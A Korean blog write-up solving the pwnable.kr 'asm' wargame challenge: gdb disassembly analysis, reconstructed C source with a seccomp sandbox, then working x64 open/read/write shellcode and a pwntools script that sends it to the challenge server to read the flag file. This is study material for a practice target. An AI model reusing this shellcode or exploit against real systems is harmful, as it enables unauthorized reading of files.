power-girl0-0

[pwnable] asm 풀이 본문

War game/pwnable.kr

[pwnable] asm 풀이

power-girl0-0 2022. 1. 21. 02:35
728x90

해당 글은 공부한 것을 기록해서, 향후 참고하기 위해 쓴 글입니다.

자세한 설명이 적혀있지 않더라도 이해바랍니다.


1. Code 이해하기 전, 알고가기!

(1) seccom 정의

리눅스에서 sandbox기반으로 시스템콜을 허용 및 차단하여, 공격의 가능성을 막는 리눅스 보안 메커니즘이다.

 

(2) setvbuf

지정한 스트림을 위한, 버퍼링 형식과 버퍼 크기 제어를 허용하는 함수이다.

① _IONBF : 버퍼를 사용하지 않는다.

② _IOLBF  : 행버퍼링으로, 출력할 때 버퍼가 꽉 차거나 개행문자가 입력되면 문자가 출력된다.

 

(3) mmap

메모리 내용을 파일이나 디바이스에 대응(mapping)하기 위해서 사용하는 시스템 콜이다.

프로세스의 가상 메모리 주소 공간에 파일을 매핑한 뒤, 가상 메모리 주소에 직접 접근하는 것으로 파일 읽기/쓰기를 수행한다.

즉, 메모리에 매핑된 데이터는 파일 입출력 함수를 사용하지 않고 직접 읽고 쓸 수 있다는 장점을 갖고 있다.

 void *mmap(void *addr, size_t len, int prot, int flags, int fildes, off_t off);

 

2. 64bit 리눅스 알고가기

※ 참고https://harin-luna.tistory.com/entry/64bit-체제에서는-어떻게-인자전달을-할까 

 

3. c코드 안에 존재하는 Shell code

  • https://disasm.pro/ 웹사이트를 통해, shell code의 존재 코드를 확인하였다.
  • shell code
     \x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31 
     \xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff
  • assembly language
     xor rax, rax
     xor rbx, rbx
     xor rcx, rcx
     xor rdx, rdx
     xor rsi, rsi
     xor rdi, rdi
     xor rbp, rbp
     xor r8, r8
     xor r9, r9
     xor r10, r10
     xor r11, r11
     xor r12, r12
     xor r13, r13
     xor r14, r14
     xor r15, r15
  • 작성되어있던 shell code는 0으로 초기화하는 shell code임을 확인할 수 있었다.

 

4. code 분석

  • gdb를 통해, 코드를 분석하며 주석처리 한 것이다.
    (필자가 공부하며 작성한 것이기 때문에, 지저분한 것은 이해부탁드립니다. )
    (gdb) disas main
    Dump of assembler code for function main:
       0x0000555555554d64 <+0>:     push   rbp
       0x0000555555554d65 <+1>:     mov    rbp,rsp
       0x0000555555554d68 <+4>:     sub    rsp,0x20
       0x0000555555554d6c <+8>:     mov    DWORD PTR [rbp-0x14],edi
       0x0000555555554d6f <+11>:    mov    QWORD PTR [rbp-0x20],rsi
       0x0000555555554d73 <+15>:    mov    rax,QWORD PTR [rip+0x201256]        # 0x555555755fd0
       0x0000555555554d7a <+22>:    mov    rax,QWORD PTR [rax]  # rax가 참조하고 있는 주소의 값을 rax에 넣는 것.
    '''
    
    '''
    
       0x0000555555554d7d <+25>:    mov    ecx,0x0
       0x0000555555554d82 <+30>:    mov    edx,0x2
       0x0000555555554d87 <+35>:    mov    esi,0x0
       0x0000555555554d8c <+40>:    mov    rdi,rax
       0x0000555555554d8f <+43>:    call   0x555555554af0 <setvbuf@plt>
    
    '''
    ecx 0x0
    edx 0x2
    esi 0x0
    rax stdout이 있는 함수의 주소를 갖고 있음. 
        ( 0x7ffff7bb2620 <_IO_2_1_stdout_>:       0xfbad2084 ) ==> rax값을 확인했을 때 나오는 문구.
    따라서, setvbuf함수를 이용해서, stdout에 관해 위 스택의 버퍼링 설정을 하고 있음.
    '''
    
       0x0000555555554d94 <+48>:    mov    rax,QWORD PTR [rip+0x20123d]        # 0x555555755fd8
       0x0000555555554d9b <+55>:    mov    rax,QWORD PTR [rax]
       0x0000555555554d9e <+58>:    mov    ecx,0x0
       0x0000555555554da3 <+63>:    mov    edx,0x1
       0x0000555555554da8 <+68>:    mov    esi,0x0
       0x0000555555554dad <+73>:    mov    rdi,rax
       0x0000555555554db0 <+76>:    call   0x555555554af0 <setvbuf@plt>
    '''
    ecx 0x0
    edx 0x1
    esi 0x0
    rax stdin이 있는 함수의 주소를 갖고 있음.
        ( 0x7ffff7bb18e0 <_IO_2_1_stdin_>:        0xfbad2088 ) ==> rax값을 확인했을 때 나오는 문구.
    따라서, setvbuf함수를 이용해서, stdin에 관해 위 스택의 버퍼링 설정을 하고 있음.
    '''
    
       0x0000555555554db5 <+81>:    lea    rdi,[rip+0x18c]        # 0x555555554f48
       0x0000555555554dbc <+88>:    call   0x555555554a40 <puts@plt>
       0x0000555555554dc1 <+93>:    lea    rdi,[rip+0x1b0]        # 0x555555554f78
       0x0000555555554dc8 <+100>:   call   0x555555554a40 <puts@plt>
       0x0000555555554dcd <+105>:   lea    rdi,[rip+0x1f4]        # 0x555555554fc8
       0x0000555555554dd4 <+112>:   call   0x555555554a40 <puts@plt>
       0x0000555555554dd9 <+117>:   lea    rdi,[rip+0x240]        # 0x555555555020
       0x0000555555554de0 <+124>:   call   0x555555554a40 <puts@plt>
    
    '''
    rdi 레지스터에 들어간 rip+0x18c의 주소의 값을 확인해보면, 문자열이 존재함.
    
    --> 아래 두개의 puts는 같은 방식이므로, pass함.
    
    #1. printf를 사용하지 않고 puts를 사용한 이유 
    #   : printf는 size가 얼마인지 확인해야되지만, puts는 \n이 존재하면 멈추기 때문에 => 효율성을 보고 puts를 사용한 것임.
    
    #2. rip는 다음 실행할 주소를 가르키기 때문에, lea에 코드가 실행될 시점의 rip는 callq부분을 가르키고 있음 
    #   따라서, rip의 값에 + 주소값을 하는 경우는 callq부분을 가르키고 있는 rip주소값에 더하기하여, rdi에 들어가는 것임.
    '''
    
       0x0000555555554de5 <+129>:   mov    r9d,0x0
       0x0000555555554deb <+135>:   mov    r8d,0x0
       0x0000555555554df1 <+141>:   mov    ecx,0x32
       0x0000555555554df6 <+146>:   mov    edx,0x7
       0x0000555555554dfb <+151>:   mov    esi,0x1000
       0x0000555555554e00 <+156>:   mov    edi,0x41414000
       0x0000555555554e05 <+161>:   call   0x555555554a70 <mmap@plt>
    
    '''
       edi 0x41414000
       esi 0x1000
       edx 0x7
       ecx 0x32
       r8d 0x0
       r9d 0x0
       => 위 인자들이 mmap함수에 들어가서, 메모리에 0x1000 크기만큼 0x40404000위치에 매핑된다.
       => mmap함수는 성공하면, 대응된 영역의 포인터를 반환한다. (즉, 0x40404000 주소값이 rax에 들어가게 되는 것이다.)
    '''
       
       0x0000555555554e0a <+166>:   mov    QWORD PTR [rbp-0x8],rax  #해당 시점에서, rax값은 0x40404000의 주소값을 갖고 있다.
       0x0000555555554e0e <+170>:   mov    rax,QWORD PTR [rbp-0x8]
       0x0000555555554e12 <+174>:   mov    edx,0x1000
       0x0000555555554e17 <+179>:   mov    esi,0x90
       0x0000555555554e1c <+184>:   mov    rdi,rax
       0x0000555555554e1f <+187>:   call   0x555555554aa0 <memset@plt>
    '''
       rax : 0x41414000
       edx : 0x1000
       esi : 0x90
       rdi : 0x41414000
       => 즉, memset함수를 이용하여, 41414000위치부터 1000size만큼 0x90인 0으로 채운다.
    '''
       
    
       0x0000555555554e24 <+192>:   lea    rax,[rip+0x201295]    #0x5555557560c0 <stub>
       0x0000555555554e2b <+199>:   mov    rdi,rax
       0x0000555555554e2e <+202>:   call   0x555555554a60 <strlen@plt>
    '''
       rip+0x201295의 값은 stub함수를 가르키고 있는 주소이다.
       따라서, rax에 넣어준 값을 x/i 명령어로 출력하면, 아래와 같이 디스어셈블된  명령어의 명령 메모리를 볼 수 있다.
    
          (gdb) x/16i 0x5555557560c0
          0x5555557560c0 <stub>:       xor    rax,rax
          0x5555557560c3 <stub+3>:     xor    rbx,rbx
          0x5555557560c6 <stub+6>:     xor    rcx,rcx
          0x5555557560c9 <stub+9>:     xor    rdx,rdx
          0x5555557560cc <stub+12>:    xor    rsi,rsi
          0x5555557560cf <stub+15>:    xor    rdi,rdi
          0x5555557560d2 <stub+18>:    xor    rbp,rbp
          0x5555557560d5 <stub+21>:    xor    r8,r8
          0x5555557560d8 <stub+24>:    xor    r9,r9
          0x5555557560db <stub+27>:    xor    r10,r10
          0x5555557560de <stub+30>:    xor    r11,r11
          0x5555557560e1 <stub+33>:    xor    r12,r12
          0x5555557560e4 <stub+36>:    xor    r13,r13
          0x5555557560e7 <stub+39>:    xor    r14,r14
          0x5555557560ea <stub+42>:    xor    r15,r15
          0x5555557560ed <stub+45>:    add    BYTE PTR [rax],al
    
       => 즉, strlen함수를  통해, sub의 문자열길이를 알아내는 코드이다.
    '''
    
    
       0x0000555555554e33 <+207>:   mov    rdx,rax 
       0x0000555555554e36 <+210>:   mov    rax,QWORD PTR [rbp-0x8]
       # rax : 0x41414000의 주소값을 갖게 된다.
       0x0000555555554e3a <+214>:   lea    rcx,[rip+0x20127f]        #0x5555557560c0 <stub>
    
       0x0000555555554e41 <+221>:   mov    rsi,rcx
       0x0000555555554e44 <+224>:   mov    rdi,rax
       0x0000555555554e47 <+227>:   call   0x555555554ae0 <memcpy@plt>
    '''
       rdx : 45 (stub의 문자열 길이 값) -> 위 strlen함수에서 리턴한 값.
       rsi : 0x5555557560c0 -> stub를 가르키는 주소임.
       rdi : 0x41414000
       => 즉, memcpy함수를 통해, 0x41414000주소값에 stub안에 들을 값을 45만큼 복사한다.
    '''
    
    
       0x0000555555554e4c <+232>:   mov    DWORD PTR [rbp-0xc],0x2e
    '''
       # 0x2e는 10진수로 바꾸면, 46임. 즉, stub의 sizeof를 나타냄. -> 45 + 1
       # 1을 더한 이유는 '\n'도 포함되기 때문임.
    '''
    
       0x0000555555554e53 <+239>:   lea    rdi,[rip+0x209]        #0x555555555063
       0x0000555555554e5a <+246>:   mov    eax,0x0
       0x0000555555554e5f <+251>:   call   0x555555554a80 <printf@plt>
    '''
          (gdb) x/s 0x555555555063
          0x555555555063: "give me your x64 shellcode: "
    
     rip+0x209 위치에는 위와 같이, 문자열이 존재함.
     => 즉, printf함수를 이용하여 위 문자열을 출력함.
    '''
    
    
       0x0000555555554e64 <+256>:   mov    eax,DWORD PTR [rbp-0xc]  
       # eax : 0x2e (= 46 )
       0x0000555555554e67 <+259>:   movsxd rdx,eax 
       # movsxd : 32bit레지스터를 64bit레지스터로 확장하는 명령어.
       0x0000555555554e6a <+262>:   mov    rax,QWORD PTR [rbp-0x8]
       # rax : 0x41414000
       0x0000555555554e6e <+266>:   add    rax,rdx
       # 0x41414000 + 46 한 값인 0x4141402e를 rax에 넣음.
       0x0000555555554e71 <+269>:   mov    edx,0x3e8
       0x0000555555554e76 <+274>:   mov    rsi,rax
       0x0000555555554e79 <+277>:   mov    edi,0x0
       0x0000555555554e7e <+282>:   call   0x555555554ac0 <read@plt>
    '''
       edx : 0x3e8 (=1000)
       rsi : 0x4141402e-> 0x41414000 + 46 (stub넣은 값+NULL의 다음 주소를 의미.)
       edi : 0
       => 즉, read(0, 0x4141402e, 1000)을 의미하는 코드이다. 
          (fd값 0이면, input을 의미함.) 
          ( = 입력받아온 값 1000만큼, 0x4141402e에 들어가게 됨.)
    '''
    
    
       0x0000555555554e83 <+287>:   mov    edi,0xa
       0x0000555555554e88 <+292>:   call   0x555555554ab0 <alarm@plt>
    '''
       edi : 0xa (=10)
       => 즉, alarm(10)코드가 실행된다.
    '''
    
    
       0x0000555555554e8d <+297>:   lea    rdi,[rip+0x1ec]        #0x555555555080
       0x0000555555554e94 <+304>:   call   0x555555554a20 <chroot@plt>
    '''
       rdi : 0x0x555555555080값이 들어가고, 주소값에는 /home/asm_pwn이 존재함. 
             -> 아래처럼 확인할 수 있음.
          '''
          (gdb) x/s $rdi
          0x555555555080: "/home/asm_pwn"
          '''
       => 즉, chroot("/home/asm_pwn")
          
          ※ chroot
             : 현재 실행중인 프로세스와 그 자식에 대한 명백한 루트 디렉토리를 변경하는 작업. 
             ->즉, 지정된 디렉토리 트리 외부의 파일에 액세스 할 수 없다.
               액세스 제한을 하는 함수이다.
       
    '''
    
    
       0x0000555555554e99 <+309>:   mov    eax,0x0
       0x0000555555554e9e <+314>:   call   <sandbox>
    
    '''
       sandbox를 호출하는 코드이다.
       해당 코드를 확인해보면, seccomp_rule_add함수가 5번 사용되는 것을 볼 수 있다.
       이 중, 3번째 인자에 들어가는 값을 확인해보면 systemcall의 번호를 볼 수 있다. 이는 아래와 같다.
    
       0x2 : open
       0x0 : read
       0x1 : write
       0x3c : exit
       0xe7 : exit_group
    '''
    
    
    ---Type <return> to continue, or q <return> to quit---
       0x0000555555554ea3 <+319>:   mov    rax,QWORD PTR [rbp-0x8]
       0x0000555555554ea7 <+323>:   call   rax
       
    '''
       rax : 0x41414000
       rax 변수에 들은 코드를 실행한다.
    '''
    
       0x0000555555554ea9 <+325>:   mov    eax,0x0
       0x0000555555554eae <+330>:   leave
       0x0000555555554eaf <+331>:   ret
    
    End of assembler dump.​
  • c언어로 주석처리해서, 확인하면 아래와 같다.
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    #include <sys/mman.h>
    #include <seccomp.h>
    #include <sys/prctl.h>
    #include <fcntl.h>
    #include <unistd.h>
    
    #define LENGTH 128
    
    // open, read, write, exit, exit_group함수만 사용 가능.
    void sandbox(){ 
            scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
            if (ctx == NULL) {
                    printf("seccomp error\n");
                    exit(0);
            }
    
            seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
            seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
            seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
            seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
            seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
    
            if (seccomp_load(ctx) < 0){
                    seccomp_release(ctx);
                    printf("seccomp error\n");
                    exit(0);
            }
            seccomp_release(ctx);
    }
    
    // stub는 스택의 값을 초기화해주는 shellcode이다.
    char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\
    xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
    unsigned char filter[256];
    
    int main(int argc, char* argv[]){
    
            setvbuf(stdout, 0, _IONBF, 0);
            setvbuf(stdin, 0, _IOLBF, 0);
    
            printf("Welcome to shellcoding practice challenge.\n");
            printf("In this challenge, yous can run your x64 shellcode under SECCOMP sandbox.\n");
            printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
            printf("If this does not challenge you. you should play 'asg' challenge :)\n");
    
    		// 0x41414000주소값부터 0x1000만큼 주소맵핑.
            char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
            memset(sh, 0x90, 0x1000);  // sh를 NOP으로 초기화.
            memcpy(sh, stub, strlen(stub)); //stub를 sh스택에 넣음.
    
            int offset = sizeof(stub); //sh스택에서 stub다음 주소를 가르키기 위한 코드.
            printf("give me your x64 shellcode: ");
            read(0, sh+offset, 1000); //1000byte만큼 입력받아와서, sh스택의 stub다음주소에 값을 넣음.
    
            alarm(10); //10초 넘으면 종료됨.
            chroot("/home/asm_pwn");        // you are in chroot jail. so you can't use symlink in /tmp
            sandbox();
            ((void (*)(void))sh)();
            return 0;
    }​​
  • stack을 그림으로 표현하면, 아래와 같다. ( 지저분한 점 이해 바람. )

5. Shell Code

  • shell code를 만들기 전, readme를 읽어보면, nc접속정보와 flag파일의 이름을 확인할 수 있다.
  • flag 파일명 : 
    his_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong
  • flag 파일명 어셈블리어 코드
    H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8n1n1nof\x01H1\x04$H\xb8o0o0o0o0PH\xb800000000PH\xb8oooo0000PH\xb8ooooooooPH\xb8ooooooooPH\xb800000oooPH\xb800000000PH\xb800000000PH\xb8oooo0000PH\xb8ooooooooPH\xb8ooooooooPH\xb8ooooooooPH\xb8ooooooooPH\xb8ooooooooPH\xb8ooooooooPH\xb8ooooooooPH\xb8ooooooooPH\xb8ooooooooPH\xb8s_very_lPH\xb8e_name_iPH\xb8_the_filPH\xb8le.sorryPH\xb8_this_fiPH\xb8ase_readPH\xb8file_plePH\xb8kr_flag_PH\xb8pwnable.PH\xb8this_is_P​
  • 공격 어셈블리어 코드 
    # open(파일명,0,0)
    mov rdi, rsp #rsp를 넣은 이유 : 파일명을 넣은 바로 직후라서, rsp가 파일명 바로 위의 위치를 가르키고 있기 때문.
    xor rax, rax
    mov al, 2
    xor rsi, rsi
    xor rdx, rdx
    syscall
    
    #read(fd, buf, 100)
    mov rdi, rax
    mov rsi, rsp
    xor rdx, rdx
    mov dl, 0xff
    inc rdx
    xor rax, rax
    syscall
    
    #write함수 (1, buf, 100)
    xor rdi, rdi
    inc rdi
    mov rsi, rsp
    xor rdx, rdx
    mov dl, 0xff
    inc rdx
    xor rax, rax
    inc rax
    syscall​
  • python 코드
    #/usr/bin/env python3
    
    from pwn import *
    
    c1 = remote("pwnable.kr",9026)
    payload = ''
    payload = b'\x48\xB8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xB8\x6E\x31\x6E
    \x31\x6E\x6F\x66\x01\x48\x31\x04\x24\x48\xB8\x6F\x30\x6F\x30\x6F\x30\x6F\x30
    \x50\x48\xB8\x30\x30\x30\x30\x30\x30\x30\x30\x50\x48\xB8\x6F\x6F\x6F\x6F\x30
    \x30\x30\x30\x50\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x6F\x6F
    \x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x30\x30\x30\x30\x30\x6F\x6F\x6F\x50\x48
    \xB8\x30\x30\x30\x30\x30\x30\x30\x30\x50\x48\xB8\x30\x30\x30\x30\x30\x30\x30
    \x30\x50\x48\xB8\x6F\x6F\x6F\x6F\x30\x30\x30\x30\x50\x48\xB8\x6F\x6F\x6F\x6F
    \x6F\x6F\x6F\x6F\x50\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x6F
    \x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50
    \x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F
    \x6F\x6F\x50\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x6F\x6F\x6F
    \x6F\x6F\x6F\x6F\x6F\x50\x48\xB8\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x50\x48\xB8
    \x73\x5F\x76\x65\x72\x79\x5F\x6C\x50\x48\xB8\x65\x5F\x6E\x61\x6D\x65\x5F\x69
    \x50\x48\xB8\x5F\x74\x68\x65\x5F\x66\x69\x6C\x50\x48\xB8\x6C\x65\x2E\x73\x6F
    \x72\x72\x79\x50\x48\xB8\x5F\x74\x68\x69\x73\x5F\x66\x69\x50\x48\xB8\x61\x73
    \x65\x5F\x72\x65\x61\x64\x50\x48\xB8\x66\x69\x6C\x65\x5F\x70\x6C\x65\x50\x48
    \xB8\x6B\x72\x5F\x66\x6C\x61\x67\x5F\x50\x48\xB8\x70\x77\x6E\x61\x62\x6C\x65
    \x2E\x50\x48\xB8\x74\x68\x69\x73\x5F\x69\x73\x5F\x50\x48\x89\xE7\x48\x31\xC0
    \xB0\x02\x48\x31\xF6\x48\x31\xD2\x0F\x05\x48\x89\xC7\x48\x89\xE6\x48\x31\xD2
    \xB2\xFF\x48\xFF\xC2\x48\x31\xC0\x0F\x05\x48\x31\xFF\x48\xFF\xC7\x48\x89\xE6
    \x48\x31\xD2\xB2\xFF\x48\xFF\xC2\x48\x31\xC0\x48\xFF\xC0\x0F\x05'
    
    print(c1.readuntil(b'give me your x64 shellcode: ').decode())
    c1.sendline(payload)
    c1.interactive()​

 

 

6. flag 획득.

 

728x90

'War game > pwnable.kr' 카테고리의 다른 글

[pwnable] flag 풀이  (0) 2022.02.12
[pwnable] collision 풀이  (0) 2022.02.09
[pwnable] input 풀이  (0) 2022.02.07
[pwnable] bof 풀이  (0) 2022.01.20
[pwnable] fd 풀이  (0) 2021.12.27
Comments